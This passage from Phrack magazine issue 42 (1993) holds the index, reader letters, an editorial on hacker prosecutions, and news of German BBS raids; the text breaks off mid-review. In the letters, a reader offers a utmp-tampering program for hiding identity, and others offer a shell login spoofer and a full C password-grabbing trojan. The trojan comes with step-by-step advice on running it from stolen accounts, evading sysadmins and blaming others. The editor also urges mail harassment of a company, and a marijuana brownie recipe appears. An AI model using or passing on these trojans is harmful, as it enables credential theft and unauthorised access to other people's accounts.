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                              ==Phrack Magazine==

                   Volume Four, Issue Forty-Two, File 1 of 14

                                 Issue 42 Index
                              ___________________

                               P H R A C K   4 2

                                 March 1, 1993
                              ___________________

        ~ Happy Anniversary Bill Cook & Tim Foley, we love you both! ~


Here it is.  Amidst all the fanfare and hoopla, Phrack 42 leaps from
your electronic mail box to infect your very soul.   It was just a few
short years ago on this day that one of the greatest abuses of
governmental authority took place in the happy little town of Austin,
Texas.  This issue marks the three year anniversary of these raids and a
hearty hello goes out to Bellcore, The United States Secret Service, and
the US District Attorney's Office.

As many of you have read previously, or otherwise heard through the
electronic grapevines, Dispater is no longer editor of Phrack.  Your
new editor, as I was most recently referred to so lovingly by
my long-time friend John Lee on the alt.cyberpunk Usenet group:
"the long hair and heavy metal beer drinking Texan that
Bruce Sterling finds so .. ahem.. 'attractive'."  In case you don't get
the joke, my name is Erikb, and I'm a hacker.

There are a few very distinct differences beginning with this issue of
Phrack.  First and foremost, Phrack is now registered with the Library
of Congress, and has its own ISSN.  Yes, boys and girls, you can
go to Washington, D.C. and look it up.  This adds a new era of
legitimacy to Phrack in that with such a registration, Phrack should
never again face any legal challenge that would bypass any paper
based magazine.

After much deliberation, I have concluded that Phrack
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Enjoy the magazine.  It is for and by the hacking community.  Period.


      Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
                3L33t : K L & T K
                 News : Datastream Cowboy
          Photography : Restricted Data Transmissions & dFx
            Publicity : (Please, God, no more press)
    Prison Consultant : The English Prankster
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                Mooks : Dave & Bruce
            Librarian : Minor Threat
            Thanks To : Professor Falken, Vince Niel, Skylar
                        Rack, NOD, G. Tenet, Frosty
         No Thanks To : Scott Chasin (who didn't even care)


Phrack Magazine V. 4, #42, March 1, 1993.     ISSN 1068-1035
Contents Copyright (C) 1993 Phrack Magazine, all rights reserved.
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  -= Phrack 42 =-
 Table Of Contents
 ~~~~~~~~~~~~~~~~~
 1. Introduction by The Editor                                 14K
 2. Phrack Loopback / Editorial Page / Line Noise              48K
 3. Phrack Pro-Phile on Lord Digital                           22K
 4. Packet Switched Network Security by Chris Goggans          22K
 5  Tymnet Diagnostic Tools by Professor Falken                35K
 6. A User's Guide to XRAY by NOD                              11K
 7. Useful Commands for the TP3010 Debug Port by G. Tenet      28K
 8. Sprintnet Directory Part I by Skylar                       49K
 9. Sprintnet Directory Part II by Skylar                      45K
10. Sprintnet Directory Part III by Skylar                     46K
11. Guide to Encryption by The Racketeer [HFC]                 32K
12. The Freedom Of Information Act and You by Vince Niel       42K
13. HoHoCon from Various Sources                               51K
14. PWN by Datastream Cowboy                                   29K

                                                      Total:  474K

     Phrack 42 is dedicated to John Guinasso, director of global
     network security, BT North America, without whose immortal comments,
     many would have never been motivated to write.

     "If you mess with our network and we catch you -- which we always
     do -- you will go down."  (John Guinasso, Information Week, July 13, 1992)

     "Hell, WE owned Tymnet before BT did!"
     (Anonymous hacker-type, Random Telephone Call, 1993)

_______________________________________________________________________________
                          ==Phrack Magazine==

              Volume Four, Issue Forty-Two, File 2a of 14

                      [-=:< Phrack Loopback >:=-]
============================================================================
      !!!!WATCH THIS SPACE FOR SUMMERCON INFORMATION NEXT ISSUE!!!!
============================================================================

I 'found' this little C program a few days ago, and runs on most UNIX
machines I think (As I found it, I cant claim fame for writing it!).

What it does, is change your userid and x25 address to anything of your
choice. This only affects programs such as 'write' and 'who'. It doesn't
automatically give you different access rights, so it can only be used
to disguise your real identity.

Usage
-----

   inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere')
   inv ''  ''        (Makes you INVISIBLE on 'who')

Program invis.c
---------------

#include <stdio.h>
#include <utmp.h>
#include <sys/types.h>

#include <lastlog.h>

main(argc,argv)
int argc;
char *argv[];
{
 FILE *f;
 struct utmp u;

 int v=ttyslot(1);
 if(v==-1)
 {
  fprintf(stderr,"Can't find terminal.\n");
  exit(1);

 if(argc!=3)
 {
  fprintf(stderr,"Args!\n");
  exit(1);
 }
 f=fopen("/etc/utmp","r+");
 if(f==NULL)
 {
  fprintf(stderr,"Utmp has escaped!\n");
  exit(1);
 }
 if(fseek(f,v*sizeof(u),0)==-1)
 {
  fprintf(stderr,"Garbage utmp\n");
  exit(1);
 }
 if(fread((char *)&u,sizeof(u),1,f)!=1)
 {
  fprintf(stderr,"Write failed\n");
  exit(1);
 }

 strncpy(u.ut_name,argv[1],8);
 strncpy(u.ut_host,argv[2],16);
 if(fseek(f,v*sizeof(u),0)==-1)
 {
  fprintf(stderr,"Seek failed\n");
  exit(1);
 }
 fwrite((char *)&u,sizeof(u),1,f);
 fclose(f);
}

I personaly have not used this program (to hack or for anything else)
What you do with it is up to you....,
                                                            ________
Have fun...., !!!                                          (        )____
                                                          (  Alas, life  )
                                                        (   is but an   )
                                                        (    Aardvaark.. )
                                                         (       __      )
                                                      .   (_____)  (____)
* * * * * * * * * * * * * * * *                     . ? .       ()
* CHEERS_ THEN - _     _      *                       __      ()
*   ___/_/______|_|___| |__   *                     /    \  ()
*  |________   _______| |__|  *                    |_    _|
*    / /    | | | |   | |     *                   |(0)||(0)|
*   / /___  | | | |   | |     *                  /|_  \/  _|\
*  /___  /  | | | |   | |     *                  || | == | ||
*     / /   | | \  \__/ /     *                  || \____/ ||
*    / /    |_|   \____/      *                 ///\  !!  /\\\
*-*-/_/-*-*-*-*-*-*-*-*-*-*-*-*-=-=-=-=-=-=-=-=-!!!-!-=-=-!-!!!-=-=-=-=-=-=-=-=

-------------------------------------------------------------------------------

I am interested in getting in contact with hackers in Nord Italy
(I am located in Torino). Do you know anybody ?

Can you help TheNewHacker ??

Thanks

TheNewHacker

[Editor:  Actually, we are in the process of recruiting people to
          write for a compilation file on the hacking scenes in countries
          around the world.  One person is working on Italy.  Perhaps when
          this file is completed, you will be able to network through that
          information.
          If anyone in a country other than America is interested in
          contributing to this effort, please write us at:
          [e-mail] !  ]

-----------------------------------------------------------------------------


hello, i must say i love your publication.  I have a little kind of
hack/phreak for you guys.

When you approach a Red light, preferably at night with few cars around,
continually flash your bright lights.  This tricks the light into believing
this a cop waiting behind traffic at the light thus changing the light after
about 10 flashes.  I discovered that after seeing several police officers turn
on their lights before they hit lights and was amazed on how easily the light
changed.  If you have say, a Mag-lite the trick works if you point directly
at the top of the post-light and the ones hanging right above red on verticals
and right above yellow on horizontals.

hope this helps etc.   (i fucking hate those damn red lights)

Dave.

[Editor:  I've actually tried this.  It works on most major
          intersections]

-----------------------------------------------------------------------------

Hallo !
I'd like to make just some addition to the APPENDIX A of the
Racketeer's article "The POWER of Electronic Mail" - there are
new guys in InterNET -> Russians (!). They have the awful
connection, but it's cool team. So, add :

 .su           kremvax.hq.demos.su

And one more note, in the SMTP installed on the Sun Station I'm working
on there isn't command TICK, but exist some strange like RSET and
EXPN.
      Spy

  P.S. Sorry for my bad English.

[Editor:  Russia has a lot of computers online these days.  Look for
          more on the Russian Internet in upcoming Phracks!]

-----------------------------------------------------------------------------

There is another, much simpler way to expand your password collection,
other than tty spoofing. Why not just run a program that simulates the
login process, and then leave it running on the console for an unsuspecting
victim? A simple example is below. Execute by typing getpass:logout.

--------File: getpass----------
LOGIN=""
PASSWD=""
clear
echo -n "login: "
read LOGIN
echo "$LOGIN" >name
sleep 3
echo -n "Password:"
read PASSWD
echo "$PASSWD" >password
echo
echo -n "Login incorrect"
-------------------------------

The only problem I have is that I don't know how to make it so that
the password, when entered, isn't shown on the screen. I'm sure you
can come up with a solution.


[Editor:  actually, someone kinda did.  See the next letter]

-----------------------------------------------------------------------------

A Better UNIX Password Grabber
by The K-Man


I blame it entirely on boredom.  Well, that and an acute case of end-
of-semester neural gridlock.  I was sitting in the lab a couple of years
ago, my head leaning against a Sparc-2 display, my index finger hitting the
return key over and over again at the login prompt.  It was all my mind and
body were capable of at the time.  Then a little thought formed in the back
of my mind: "You know, it would be pretty damn easy to write a program to
imitate the behavior of this screen while grabbing user id's and passwords."
So I logged in and started coding.  Then I thought to myself, "You know, with
a few extra lines of code and a couple of tricks, I could make this little
guy almost completely undetectable and untraceable while running."  So I
coded some more.  A couple of hours later, out popped the following
program:

---------------------------- Cut Here -----------------------------------

/*----------------------------------------------------------------------+
| GRABEM 1.0            by The K-Man      |
| A Cute little program to collect passwords on the Sun workstations.   |
+----------------------------------------------------------------------*/

#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"

#include <stdio.h>
#include <signal.h>


/*-----------------------------------------------------------------------+
| ignoreSig                 |
|                   |
| Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT.     |
+-----------------------------------------------------------------------*/
void ignoreSig ()
{
 return;
}


/*-----------------------------------------------------------------------+
| Main                    |
+-----------------------------------------------------------------------*/
main()
{

char  name[10],     /* users name             */
  password[10];    /* users password         */



int  i,       /* loop counter               */
  lab,      /* lab # you're running on    */
  procid;      /* pid of the shell we're under  */

FILE  *fp;      /* output file          */


 /*-------------------------------------------------------------------+
 | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\)    |
 | signals so the program doesn't stop and dump back to the shell.    |
 +-------------------------------------------------------------------*/
 signal (SIGINT, ignoreSig);
 signal (SIGTSTP, ignoreSig);
 signal (SIGQUIT, ignoreSig);

 /*-------------------------------------------------------------------+
 | Get the parent pid so that we can kill it quickly later.  Remove   |
 | this program from the account.          |
 +-------------------------------------------------------------------*/
 procid = getppid();
 system ("\\rm proj2");

 /*-------------------------------------------------------------------+
 | Ask for the lab # we're running on.  Clear the screen.    |
 +-------------------------------------------------------------------*/
 printf ("lab#: ");
 scanf ("%d", &lab);
 for (i=1; i<40; i++)
  printf ("\n");
 getchar();

 /*-------------------------------------------------------------------+
 | Outer for loop.  If the name is <= 4 characters, it's probably not |
 | a real id.  They screwed up.  Give 'em another chance.             |
 +-------------------------------------------------------------------*/
 for(;;)
 {
  /*---------------------------------------------------------------+
  | If they hit return, loop back and give 'em the login again.    |
  +---------------------------------------------------------------*/
  for (;;)
  {
   printf("lab%1d login: ",lab);
   gets (name);

   if (strcmp (name, "") != 0)
    break;
  }

  /*---------------------------------------------------------------+
  | Turn off the screen echo, ask for their password, and turn the |
  | echo back on.              |
  +---------------------------------------------------------------*/
  system ("stty -echo > /dev/console");
  printf(PASSWORD);
  scanf("%s",password);
  getchar();
  system ("stty echo > /dev/console");


  /*---------------------------------------------------------------+
  | Write their userid and password to the file.                   |
  +---------------------------------------------------------------*/
  if ( ( fp = fopen(FILENAME,"a") )  != NULL )
  {
   fprintf(fp,"login %s has password %s\n",name,password);
   fclose(fp);
  }

  /*---------------------------------------------------------------+
  | If the name is bogus, send 'em back through         |
  +---------------------------------------------------------------*/
  if (strlen (name) >= 4)
   break;
  else
   printf (INCORRECT);
 }

 /*-------------------------------------------------------------------+
 | Everything went cool. Tell 'em they fucked up and mis-typed and    |
 | dump them out to the REAL login prompt.  We do this by killing the |
 | parent process (console).                                          |
 +-------------------------------------------------------------------*/
 printf (INCORRECT);
 kill (procid, 9);
}

---------------------------- Cut Here -----------------------------------


HOW IT WORKS

You can probably figure this out by reading the code, but I thought I'd
just add some comments on why I did what I did.

The first thing is does is install the signal handler. All it does is trap
SIGINT, SIGSTP, and SIGQUIT, so that the person trying to log into the machine
this baby is running on can't kill it with a keystroke.  Next, it gets the
parent process ID.  We'll use this later to kill it off quickly.  Then it
proceeds to erase the executable file.  Sysadmins can't find a trojan horse
program that isn't there.

>From here it goes on to imitate the login and password prompts.  You'll
probably have to change the code to get it to imitate the login process on
your particular machine.

When it gets a userid and password, it appends them to an existing file in
the account.  I chose the .exrc, but any dot file will work.  The point being
to use a file that already exists and should be in the account.  Don't leave
any extra suspicious files lying around.

After it writes the uid and password to the file, it bumps the user back
to the real login prompt by killing off the shell that was the parent process
of the program.  The cut is almost instantaneous; the user would have to be
inhumanly observant to notice the transition.


HOW TO USE

Well, first you need an account to run it from.  If your site has guest accounts,
you've got it made.  If not, I'd suggest using a little social engineering to
get one other person's account.  With that account and the program, you can grab
access to many more.  I wouldn't recommend running it from an account that has
your name on it.  That just makes it a little more dangerous than it needs to be.
Of course, if the sysadmin happens to catch the program running on your login,
you can always claim to know nothing.  Say someone else must have gotten your
password and is using your account to escape detection.  He might buy it.  But
if you have the source for the program sitting somewhere in your account, and
they find it, you're fucked.  So it's best to use someone else's account for
the job.

After you've gotten the account you'll be running it from, you'll need to get
the program in that account somehow.  I started off by keeping a copy of the
source somewhere it my account, named with something innocuous and hidden
among bunches of source files, but I got paranoid and started hauling the source
around with me on a bar floppy.  Do whatever suits your level of paranoia.

Copy the source to the account you'll be running it from and compile it.
Trash the source, and name the program something that won't stand out in a
ps list.  selection_svc is a nice innocuous name, and it appears everywhere.
Do a ps on one of your machines and look for processes that hang around for
a long time.  You might want to hide it as a daemon.  Be creative.

Now run the program and sit back and wait.  Or leave and come back later.
When you know that someone has tried to log on to your booby trapped machine,
log back into the account you borrowed to run the program in and vi or emacs (if
you're that kind of person) out the captured userid and password.  Simple as
that.

Note that the two times that you stand the greatest chance of being caught
are when you first compile and run the program and when you retrieve your
captured uid and passwords.  There's the remote chance that someone might see
you at work and see what you're doing, but it's not very likely.  If you start
acting all paranoid you'll draw more attention to yourself than you would have
gotten in the first place.  If your site has dialup lines, you might want to do
a dialin to retrieve the passwords. Or you might prefer to do it in person.
All depends on your paranoia quotient which you think is more secure, I guess.


TIPS

Be careful which dot files you use.  I chose the .exrc because it was something
that wasn't used often at our site.  If you chose the .cshrc or other frequently
accessed file, put a # before the uid and password you write to that file.  That
way,  when that dot file is sourced, it'll treat that line as a comment and not
spit out an error message that could cause suspicion.

Try to run the program at a time when you know there will be heavy machine
usage.  That way you'll trap something quick.  The longer your program
runs, the greater the chance it will be found.

Don't be greedy.  Run on only one or two machines at a time.  And if you run
on more than one machine, run out of a different account on each one.  Again,
the more you put out there, the better the chance that at least one will be
found.


PARTING NOTE

The morning after I wrote this program was the first time I got to use it.  I
set it running on a guest account, the went to a machine across the room to
do some legitimate work.  One of my friends walks in shortly after that, and
we start shooting the shit.  A minute or two later, the sysadmin walks in, sits
down, and logs in to the machine I ran the program on.  I came really close to
dropping my fudge right then and there.  The only thing running through my
mind was "Either I'm totally fucked, or I have root."  Turned out it was choice
B.  Too bad the guy changed his password once a week, and I wasn't smart enough
to fix it so that I would see the change.  Oh well, I had fun for a week though.
There were quite a few interesting e-mail messages sent back and forth that week.
I think the best one was the one from our (male) department head to one of our
radical she-male hard-core no-damn-gifs feminist female professors, detailing
all the perverted sexual acts that he would like to perform with and on her. :)

Anyway, have fun with the program.  Maybe I'll get a chance to come up with
some more cool UNIX programs in the future.


           Later,
            K-Man

-----------------------------------------------------------------------------

        In a recent issue of PHRACK you had some article or loopback about
getting information about people via modem.  I am somewhat interested in
this and could use this information.  I have a friend who is a part-time
bounty hunter and could use such information to track people down.
Could you please send me some information about who to contact to find out
this information.  What I could REALLY use is an on-line up-to-date
phone/address book that I could call to find out anybody's address.  Is
there such a thing?  If you have any information please e-mail me, since I
am unable to get your mag on a regular basis.  Thanx a mil!

                                Scarface

[Editor:  Actually there are quite a large number of databases that keep
          information on everyone.  There is TRW, Equifax, TransUnion,
          Information America and NAI just to name a few.  Many of these
          services are very expensive, but even services like CompuServe
          allow users to look up people all over America using
          PhoneFile which compiles data from all kinds of public
          records.  Nexis can allow you to look up real estate data on
          just about anyone with loans on their houses.  Every public
          utility and department of motor vehicles provides information
          on their records, and many are online.

          A good book to read about this kind of thing is

          Privacy For Sale
          Jeffrey Rothfeder

          Simon & Schuster
          $22.00]
-----------------------------------------------------------------------------
                            THE GOLDEN ERA REBORN!

     Relive the thrill of the golden era of hacking through our exclusive
        collection of BBS messages.  Our collection contains posts from
          over 40 of the most popular hack/phreak BBSes of all time.
       Experience the birth of the computer underground again from your
       own computer with this collection of original posts from bulletin
                                 boards like:

                                   * 8BBS *
                                   * OSUNY *
                                 * PLOVERNET *
                            * THE LEGION OF DOOM *
                             * BLACK ICE PRIVATE *
                            * THE PHOENIX PROJECT *

                               And many more...

               Messages are available in many computer formats:
                                      IBM
                                     Amiga
                                   Macintosh

            For more information, please contact LOD Communications

                      email:  [e-mail]

                         US Mail:  LOD Communications
                                603 W. 13th St.
                                 Suite 1A-278
                               Austin, TX 78701

                           Voice Mail:  512-448-5098
-----------------------------------------------------------------------------

You might like this one...
--bob
****************************************
I just saw a transcript of a press conference given by
Secret Service Agent Frericks, in Lubbock last December.

here is a brief extraction...

FRERICKS: Um hm. This is a major nation wide, world wide problem from
an industry point of view with tremendous losses in funds tremendous
losses of money. the VAX account at the University is a way to get
into numerous other research accounts or Internet which is the ...you
get onto Internet you can talk to anybody else who is on Internet
anywhere in the world which these kids were talking to Belgium, and
Israel and Australia and they can do that just by this, thus avoiding
long distance phone calls.  But most of the people on Internet I mean
on the VAX are there legitimately for research purposes they can go to
Mayo and get a file if they're a med student and they also get one of
these pamphlets if they get, like the Department of Engineering gives
out an account number just for that semester, the professor would give
it out so you can use the VAX well they also get one of those
pamphlets that explains what the rules are and the instructor spends a
good bit of time the first couple of classes going over computer
etiquette, computer rules.

[Editor:  Another of America's finest.]

-----------------------------------------------------------------------------


    I typed this because of the mention of Software Security International in
the article "More than $100,000 in Illegal Software Seized" in Rambone's
Pirates Cove in Phrack 41.
    He mentioned that they were the investigators that finally brought down
APL. I am not only familiar with that, a past friend of mine was
there when the Marshalls took the board. He was there as representative of
SSI.
 The best part that Rambone didn't know, was that they couldn't get into
APL to verify the existence of the software, until they got the password
breaker from Novell. So in essence, they looked like some dumb fools.
They didn't have any idea on how to approach the network.

 Software Security International Can be reached at...
  1-800-724-4197

  2020 Pennsylvania Avenue N.W.
  Suite 722
  Washington, D.C. 20006-1846

That is of course if they finally have gotten off the ground. Last I Heard (2-3
months ago) they were still having trouble getting Financial Backing. They did
the APL Bust for nothing, just to prove they could do it. They are also on a
lot of other BBS's around America. So as a warning to other sysops, Cover your
Ass.

 You could rack up some serious negative cash flow by sending tons of
mail to the box above, then it gets Airborne'd to Washington State.

see ya

[Editor:  I think it might be a good idea to send them a few postcards
          every day for the next few weeks.  Just to stay in touch.]
-----------------------------------------------------------------------------

                         ==Phrack Magazine==

              Volume Four, Issue Forty-Two, File 2b of 14

                        [-=:< Editorial >:=-]

Before I jump upwards onto my soapbox and spew forth a meaty
editorial I would like to relay something to the readers of Phrack.
The following is a transcript of John Lee's  (Corrupt's) confession
to the charges facing him.  (From Security Insider Report, Jan. 1993)

What follows is in my opinion a very poor attempt at a plea-bargain,
and obviously induced by attorney coercion.  I must wonder what John
was thinking when he agreed to this admission.
======================================================================

I agreed with others to violate various laws related to the use of
computers.  I agreed to do the following:

1)  I agreed to possess in excess of fifteen passwords which
    permitted me to gain access to various computer systems
    including all systems mentioned in the indictment and others.
    I did not have authorization to access these systems.  I knew
    at the time that what I did was wrong.

2)  I used these access devices and in doing so obtained the value of time
    I spent within these systems as well as the value of the passwords
    themselves which I acknowledge was more than $1000.

3)  I intentionally gained access to what I acknowledge are Federal interest
    computers and I acknowledge that work had to be done to improve the
    security of these systems which was necessitated by my unauthorized
    access.

4)  I was able to monitor data exchange between computer systems and by
    doing so intentionally obtained more passwords, identifications and
    other data transmitted over Tymnet and other networks.

5)  I acknowledge that I and others planned to share passwords and
    transmitted information across state boundaries by modem or telephone
    lines and by doing so obtained the monetary value of the use of the
    systems I would otherwise have had to pay for.

Among the ways I and others agreed to carry out these acts are the following:

  1.  I was part of a group called MOD.

  2.  The members of the group exchanged information including passwords
      so that we could gain access to computer systems which we were not
      authorized to access.

  3.  I got passwords by monitoring Tymnet, calling phone company
      employees and pretending to be computer technicians, and using
      computer programs to steal passwords.

I participated in installing programs in computer systems that would give
the highest level of access to members of MOD who possessed the secret
password.

I participated in altering telephone computer systems to obtain
free calling services such as conference calling and free billing
among others.

Finally, I obtained credit reports, telephone numbers and addresses
as well as other information about individual people by gaining access
to information and credit reporting services.  I acknowledge that on
November 5, 1991, I obtained passwords by monitoring Tymnet.

I apologize for my actions and am very sorry for the trouble I have
caused to all concerned.

John Lee


==========================================================================


This issue I would like to call attention to what I consider to be
a very pressing issue.  There has always been a trend to pad the
amount of dollar damages incurred to any victim of a hacker attack.
I personally feel that the blame is never directed at the true guilty
parties.

Certainly, if someone is caught breaking into a system, then they are
surely guilty of some form of electronic trespass.  I will also
concede that such a person may or may not be guilty of other crimes
based upon their actions once inside that system.  What I have the
most problems dealing with is the trend to blame the hacker for any
expenditures needed to further secure the system.

With this mindset, why should any corporation bother to add any
security at all?  Why not just wait until someone happens across
a few poorly secured sites, nab them, and claim damages for the
much needed improvements in security?

The worst culprits in this type of behavior has been the RBOCs.  As was
seen with the supposed damages incurred for the distribution of the
"911 document" and most recently with the $370,000 damages supposedly
incurred by Southwestern Bell resulting from the alleged activities
of those in MOD.

Perhaps this figure does have some basis in reality, or perhaps it is
just an arbitrary figure dreamed up by a few accountants to be used
at year end to explain some losses in the corporate stock report.
Most often figures such as this factor in such ridiculous items as
the actual system hardware penetrated.  I can hardly see the relevance
of such a charge.

Even if these charges are to be believed, why isn't the blame being
evenly distributed?  Why aren't stockholders crying for the heads of
system administrators, MIS managers and CIOs?  These are the people who
have not adequately done their jobs, are they not?  If they had expended
a bit of time, and a small amount of capital, the tools exist to make
their systems impervious to attack.  Period.

If I had an investment in a company such as Southwestern Bell, I would be
outraged that the people I was employing to perform data security
functions were not apt enough to keep a group of uneducated gangsters
out of their switching systems.  Why haven't there been any emergency
meetings of shareholders?  Why isn't anyone demanding any changes in policy?
Why is everyone still employed?

Not to blame Southwestern Bell too harshly, they were sorely outclassed
by MOD, and had absolutely no way to cope with them.  Not only because MOD
were competent telco hackers, but because Southwestern Bell's network
service provider had given them free reign.

Southwestern Bell's packet switched network, Microlink II, was designed
and implemented for SWBT by Tymnet (then owned by McDonnell Douglas).
An interesting thing I've heard about SWBNET, and about every other subnet
arranged by Tymnet, is that the information concerning gateways, utilities,
locations of node code, etc., is purported to be located in various
places throughout Tymnet internal systems.  One such system, was described
to me as a TYMSHARE system that contained data files outlaying every subnet
on Tymnet, the mnemonics (username/password pair) to each utility, gateway,
and the ONTYME II mail access keys.

If this information is correct, then shouldn't Tymnet be called in to
acknowledge their role in the attacks on Southwestern Bell?

Let's say a Realtor sold you a house, but told you that he would be keeping
copies of all your keys so that he could help you with the maintenance.
Some time later, you notice that a few of your books have been read, but
nothing else is disturbed.  Later on you notice that your tv is on and your
bed is all messed up.  A week later your stereo is gone.  You set up a trap
and catch someone going into your house with your own key!  You find that
the burglars had made copies of all the keys held by your Realtor.  You
then find that the Realtor neglected to put the keys in a safe, and in fact
had left them lying around on the table in his back yard labeled with
the addresses they corresponded to.

Who would you be more upset with?  The individual who copied and used the
keys, or the Realtor for not providing the access to your valuables more
vigilantly?  I would personally be far more upset with the Realtor, for
if he had put the keys in a safe this event would have probably never
transpired.

I'm not saying that people who get caught for breaking into computer
systems should be let go, especially if they can be proven to be involved
in the sale of hacked information for a personal profit.  What I am saying
that if hackers are to be punished so vigorously for what I view as a
predominantly victimless crime, then everyone should have to line
up and take their fair share of the blame.

I think it's high time that the real blame be placed on the corporate
entities who seemingly refuse to acknowledge their role in these
break-ins.  Neglect of duties and lack of responsibility on the part
of the employees, the interconnect carriers, the data network providers,
the hardware vendors, etc. all play a key role in the problems that
exist in the world's data networks today.  In fact, if it were not for
computer hackers, these problems would continue to lie dormant until either
discovered by accident in the field, or the provider decided to go ahead
and illuminate its clients to the existence of such a problem.

I wholeheartedly encourage each and every reader of Phrack to
purchase one share of stock in any corporation you know that has exhibited
such tendencies and take your place on the floor of the next shareholders
meeting and scare the hell out of the board of directors.
Phrack Magazine is calling a discount brokerage very soon.

-------------------------------------------------------------------------------

                         ==Phrack Magazine==

              Volume Four, Issue Forty-Two, File 2c of 14


                           //   //  /\   //   ====
                          //   //  //\\ //   ====
                         ==== //  //  \\/   ====

                     /\   //  // \\    //  /===   ====
                    //\\ //  //   //  //   \=\   ====
                   //  \\/    \\ //  //   ===/  ====

******************************************************************************

                          BBS Busts in Germany
                          ====================


Thursday, March 18, 1993.

This day will be remembered as a black day in German BBS history.
In fact, it was the blackest day in German BBS history since the raid
of 18 Berlin BBS in Berlin and North Germany a couple of months ago.

What has happened?  A couple of Bulletin Board Systems (BBS) have
been raided by the police.  All these BBS had "warez" online, illegal,
pirated, copyrighted Software - usually for PC/MSDOS and Amiga.
This time, most of these BBS were in Bavaria, South Germany.

Now let's take a closer look at the events:

One guy who got busted was MST, Sysop of Southern Comfort BBS
in Munich.  In fact, his board went offline 9 days before.
But he was so unlucky still having his computer and his warez.
He was even using his modem to trade warez at the very moment
the cops rang his doorbell.  Why did he go offline just so short
before he got busted?  His board had been running for over 1 year.

Here is the text file MST released about going offline:

THURSDAY 03-09-93 00:15
THE SOUTHERN COMFORT BBS IS CLOSED !
I AM NOT BUSTED OR ANYTHING LIKE THIS !
I CLOSED THE BBS COS OF PERSONAL REASONS AND
PERHAPS IT WILL BE OPENED AGAIN IN 1 OR 2 MONTH !
I HOPE YOU WOULD UNDERSTAND THIS DECISION BUT SCENE
IS NOT ALL WHAT LIFE CAN BE ALL USER ACCOUNTS STAY
ALIVE AND WILL BE HERE AT A NEW??? OPENING !

SO I SAY BYE TO THE SCENE FOR PERHAPS ONLY A SHORT TIME !

MST/RAZOR 1911

A couple of days later, MST was posting ads in local BBS to sell his
old equipment.  But obviously he wasn't fast enough.  Maybe this was
one of the reasons the cops busted him on March, 18.  They were afraid
he might get rid of his illegal software, so they hurried up to catch him!

He got busted at 10am this morning.  Three cops were knocking on his door,
until he opened.  They had a search warrant and confiscated all his
computer equipment, disks, modems...

Chris used to have a board until four months ago, and now trades for TDT and
other groups.  He was in school this morning.  His parents weren't home
either.  So the cops broke into his house, smashed the wooden door, and
seized all his equipment.  He is asked to speak to the Police this Tuesday.

Chris used to be one of the most active traders for PC warez in Germany.
He and his friend Michelangelo supported boards like Schizophrenia and
Beverly Hills, which they co-sysop'ed.  They were also known as the
'Beverly Hills Boys', a new German cracking group.

After Chris' bust, a couple of boards were affected:
Beverly Hills went offline.  Also the German Headquarters of the Beverly
Hills Boys, 'Twilight Zone', went offline.  Their sysops estimate at least
1-3 months offline time.

The other Munich BBS and their sysops were really scared after the bust
and took down their systems for an uncertain amount of time.

One of Germany's largest BBS, Darkstar in Augsburg, was a heaven for
every warez collector.  It had 8 modems hooked up (all US Robotics Dual
Standard 16.8) and one ISDN Line.

It had over 2 GB PC warez online, and over 7 GB offline on tapes, which
would be put online according to user' requests.

But then, March 18 arrived, and the dream was shattered.
Its sysop, Rider, who was happily calling boards the previous day,
had the most shocking experience in his life.  The cops came and
took his BBS.

And more..
Ego, co-sysop of a large German BBS, got busted.
Andy/Spreadpoint (ex-sysop) got busted.
And lots of others...

Unlike the US Secret Service, which delights in seizing all
electronic equipment, like stereos, TVs, VCRs, the German cops
were just after the computer hardware, especially the hard drives
and file servers.

They usually come with three or four people.  All of the search warrants
they were using were quite old, issued last December.

Who is behind those actions?
First of all the BSA, Business Software Association.  They
were also responsible for the recent raids of US Bulletin Boards.
In Germany they just announced actions against piracy and
bulletin boards.  The most active BSA Members are Microsoft and
Lotus Development.  Microsoft, Lotus and the BSA are all located
in Munich, Germany, home of German's most feared lawyer,
Guenther Freiherr von Gravenreuth.  This guy has been fighting
for years against piracy, young kids who copy games, and especially
bulletin board systems.  He is also affiliated with Ariolasoft, a huge
German distributor for game labels like Activision and others.

In the end, all I can say is:
Be aware, don't get caught and don't keep illegal stuff on your board!

                  (c) 1993 SevenUp for Phrack

******************************************************************************

Carlcory's brownies:

/* Begin cc_brownie.c */

Includes:
#include "4_squares_baking_chocolate"
#include "1_cup_butter"
#include "2_cups_sugar"
#include "4_eggs"
#include "2_cups_flour"
#include "2_tbs_vanilla"
#include "1_third_cup_marijuana"        /*comment out if won't compile
                                            on your system*/
#include "1_cup_nuts"                   /*comment out if won't compile*/

void main(void);

{
    heat(oven, 350);
    add(butter, chocolate);
    while(texture!='smooth')    {
        stir(mixture);
    }
    Add(sugar);
    add(eggs);
    add(vanilla);
    add(flour, pot);
    add(nuts)
    for(timer=0; timer<35; timer++) {
        bake(mixture);
    }
    cool(hour);
}


/*The high takes about an hour to come on,
 but lasts for 12 hrs. (4 brownies)
 Make sure they cool (don't burn your mouth!)
 and share with friends! */


/*End of cc_brownie.c*/

******************************************************************************

GRAY AREAS
Examining the Gray Areas of Life

Gray Areas, Inc.
P.O. Box 808
Broomall, PA  19008-0808
[phone]
[e-mail]


Gray Areas is published quarterly and printed on recycled paper.  They also
participate in local recycling efforts involving cans, glass, clothing,
newspapers, and more.

A four-issue subscription costs $18.00 US or $26.00 foreign (payable in US
funds).  A 12-issue subscription costs $50.00 ($75.00 foreign).  You may
purchase a twelve issue subscription and give 4 or 8 or those issues away as
gifts to friends (i.e., the same 4 issues you receive would also go to 2 other
recipients). Make check or money order out to Gray Areas, Inc.

STATEMENT OF PURPOSE:

Gray Areas exists to examine the gray areas of life.  We hope to unite people
involved in all sorts of alternative lifestyles and deviant subcultures.  We
are everywhere!  We felt that the government has done a great job of splitting
people up so that we do not identify with other minority groups anymore.  There
are so many causes now that we often do not talk to others not directly
involved in our chosen causes.  We believe that the methods used to catch
criminals are the same regardless of the crime and that much can be learned by
studying how crimes in general are prosecuted and how people's morals are
judged.  It is our mission to educate people so they begin to case more about
the world around them. Please join our efforts by subscribing, advertising your
business with us, and by spreading the word about what we're up to.

__________________________

Review by Knight Lightning:

I recently received a copy of the premier issue of Gray Areas, dated Fall 1992
and with a cover price of $4.50 (US).  I was impressed with both the laser
quality of the printing, artwork, and graphics, as well as the topics and
content of the articles.

I would not characterize Gray Areas as a hacker magazine, but the subject did
